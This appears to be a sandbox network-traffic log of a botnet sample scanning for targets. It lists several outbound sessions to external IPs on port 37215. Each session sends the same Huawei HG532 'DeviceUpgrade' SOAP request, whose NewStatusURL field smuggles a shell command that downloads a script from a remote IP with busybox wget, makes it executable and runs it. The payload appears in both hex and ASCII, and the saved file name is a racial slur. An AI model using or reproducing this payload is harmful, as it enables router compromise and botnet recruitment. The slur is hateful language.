Feb 19, 2024 18:37:51.520704031 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.552495003 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.15	43458	45.33.248.121	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:41.312592030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.15	35852	37.16.31.14	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:41.580538034 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.15	42664	37.16.10.25	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:41.581033945 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.15	44424	122.254.106.210	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:42.400624990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.15	34686	45.250.172.127	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:47.986684084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.832792997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.825001001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod 